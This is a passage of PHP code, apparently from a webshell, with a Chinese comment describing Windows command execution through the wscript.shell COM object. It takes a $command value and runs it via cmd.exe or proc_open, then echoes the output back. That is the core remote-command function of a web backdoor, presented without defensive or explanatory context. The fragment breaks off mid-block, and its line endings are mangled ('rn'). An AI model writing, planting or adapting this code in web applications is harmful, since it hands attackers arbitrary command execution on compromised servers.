/php调用com 组件wscript.shell执行dos命令
p('
');
if ($execfunc=='wscript' && is_win && is_com) {
$wsh = new com('wscript.shell');
$exec = $wsh->exec('cmd.exe /c '.$command);
$stdout = $exec->stdout();
$stroutput = $stdout->readall();
echo $stroutput;
} elseif ($execfunc=='proc_open' && is_win && is_com) {
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = proc_open($_server['comspec'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command."rn");
fwrite($pipes[0], "exitrn");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}











